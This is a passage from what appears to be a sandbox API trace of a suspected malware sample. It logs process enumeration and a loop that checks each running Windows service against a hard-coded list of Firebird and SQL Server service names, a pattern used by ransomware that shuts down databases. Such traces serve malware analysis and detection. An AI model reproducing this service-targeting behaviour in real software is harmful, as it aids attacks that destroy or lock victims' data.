th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0062.166] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0062.166] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0062.167] lstrlenW (lpString="dllhost.exe") returned 11 [0062.167] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0062.168] lstrlenW (lpString="product.exe") returned 11 [0062.168] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0062.169] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0062.169] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0062.170] lstrlenW (lpString="basin.exe") returned 9 [0062.170] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0062.171] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0062.171] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0062.172] lstrlenW (lpString="tested housewives.exe") returned 21 [0062.172] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0062.172] lstrlenW (lpString="conhost.exe") returned 11 [0062.172] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0062.226] lstrlenW (lpString="conhost.exe") returned 11 [0062.227] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.227] lstrlenW (lpString="svchost.exe") returned 11 [0062.227] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0062.228] lstrlenW (lpString="wmxsde.exe") returned 10 [0062.228] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0062.229] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0062.229] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0062.230] lstrlenW (lpString="conhost.exe") returned 11 [0062.230] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0062.231] lstrlenW (lpString="cmd.exe") returned 7 [0062.231] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0062.232] lstrlenW (lpString="conhost.exe") returned 11 [0062.232] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.233] lstrlenW (lpString="svchost.exe") returned 11 [0062.233] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0062.233] CloseHandle (hObject=0x38c) returned 1 [0062.233] Sleep (dwMilliseconds=0x1f4) [0063.178] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ded40 [0063.180] EnumServicesStatusExW (in: hSCManager=0x6ded40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0063.181] GetLastError () returned 0xea [0063.181] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1dba) returned 0x7010e0 [0063.182] EnumServicesStatusExW (in: hSCManager=0x6ded40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7010e0, cbBufSize=0x1dba, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7010e0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0063.183] CloseServiceHandle (hSCObject=0x6ded40) returned 1 [0063.183] lstrlenW (lpString="Appinfo") returned 7 [0063.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0063.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0063.183] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0063.183] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0063.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0063.183] lstrlenW (lpString="AppXSvc") returned 7 [0063.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0063.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0063.183] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0063.183] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0063.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0063.183] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0063.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0063.184] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0063.184] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0063.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0063.184] lstrlenW (lpString="Audiosrv") returned 8 [0063.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0063.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0063.184] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0063.184] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0063.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0063.184] lstrlenW (lpString="BFE") returned 3 [0063.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0063.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0063.184] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0063.184] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0063.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0063.184] lstrlenW (lpString="BITS") returned 4 [0063.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0063.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0063.184] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0063.184] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0063.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0063.184] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0063.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0063.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0063.184] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0063.184] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0063.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0063.184] lstrlenW (lpString="CDPSvc") returned 6 [0063.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0063.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0063.184] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0063.184] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0063.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0063.185] lstrlenW (lpString="ClickToRunSvc") returned 13 [0063.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0063.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0063.185] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0063.185] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0063.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0063.185] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0063.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0063.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0063.185] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0063.185] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0063.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0063.185] lstrlenW (lpString="CryptSvc") returned 8 [0063.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0063.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0063.185] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0063.185] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0063.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0063.185] lstrlenW (lpString="DcomLaunch") returned 10 [0063.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0063.185] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0063.185] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0063.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0063.185] lstrlenW (lpString="DeviceAssociationService") returned 24 [0063.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0063.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0063.185] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0063.185] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0063.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0063.185] lstrlenW (lpString="Dhcp") returned 4 [0063.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0063.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0063.186] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0063.186] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0063.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0063.186] lstrlenW (lpString="Dnscache") returned 8 [0063.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0063.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0063.186] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0063.186] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0063.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0063.186] lstrlenW (lpString="DoSvc") returned 5 [0063.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0063.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0063.186] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0063.186] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0063.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0063.186] lstrlenW (lpString="DPS") returned 3 [0063.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0063.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0063.186] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0063.186] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0063.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0063.186] lstrlenW (lpString="DusmSvc") returned 7 [0063.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0063.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0063.186] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0063.186] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0063.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0063.186] lstrlenW (lpString="EventLog") returned 8 [0063.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0063.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0063.186] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0063.187] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0063.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0063.187] lstrlenW (lpString="EventSystem") returned 11 [0063.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0063.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0063.187] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0063.187] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0063.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0063.187] lstrlenW (lpString="FontCache") returned 9 [0063.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0063.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0063.187] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0063.187] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0063.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0063.187] lstrlenW (lpString="gpsvc") returned 5 [0063.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0063.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0063.187] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0063.187] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0063.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0063.188] lstrlenW (lpString="iphlpsvc") returned 8 [0063.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0063.188] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0063.188] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0063.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0063.188] lstrlenW (lpString="KeyIso") returned 6 [0063.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0063.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0063.188] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0063.188] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0063.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0063.188] lstrlenW (lpString="LanmanServer") returned 12 [0063.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0063.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0063.188] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0063.188] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0063.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0063.188] lstrlenW (lpString="LanmanWorkstation") returned 17 [0063.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0063.188] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0063.188] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0063.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0063.188] lstrlenW (lpString="lfsvc") returned 5 [0063.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0063.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0063.188] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0063.188] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0063.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0063.188] lstrlenW (lpString="lmhosts") returned 7 [0063.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0063.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0063.189] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0063.189] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0063.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0063.189] lstrlenW (lpString="LSM") returned 3 [0063.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0063.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0063.189] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0063.189] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0063.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0063.189] lstrlenW (lpString="MapsBroker") returned 10 [0063.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0063.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0063.189] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0063.189] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0063.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0063.189] lstrlenW (lpString="MpsSvc") returned 6 [0063.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0063.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0063.189] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0063.189] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0063.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0063.189] lstrlenW (lpString="NcbService") returned 10 [0063.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0063.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0063.189] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0063.189] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0063.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0063.189] lstrlenW (lpString="netprofm") returned 8 [0063.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0063.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0063.189] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0063.189] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0063.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0063.190] lstrlenW (lpString="NgcSvc") returned 6 [0063.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0063.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0063.190] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0063.190] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0063.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0063.190] lstrlenW (lpString="NlaSvc") returned 6 [0063.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0063.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0063.190] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0063.190] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0063.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0063.190] lstrlenW (lpString="nsi") returned 3 [0063.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0063.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0063.190] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0063.190] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0063.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0063.190] lstrlenW (lpString="PcaSvc") returned 6 [0063.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0063.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0063.190] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0063.190] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0063.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0063.190] lstrlenW (lpString="PlugPlay") returned 8 [0063.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0063.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0063.190] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0063.190] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0063.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0063.190] lstrlenW (lpString="Power") returned 5 [0063.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0063.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0063.191] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0063.191] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0063.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0063.191] lstrlenW (lpString="ProfSvc") returned 7 [0063.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0063.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0063.191] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0063.191] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0063.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0063.191] lstrlenW (lpString="RpcEptMapper") returned 12 [0063.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.191] 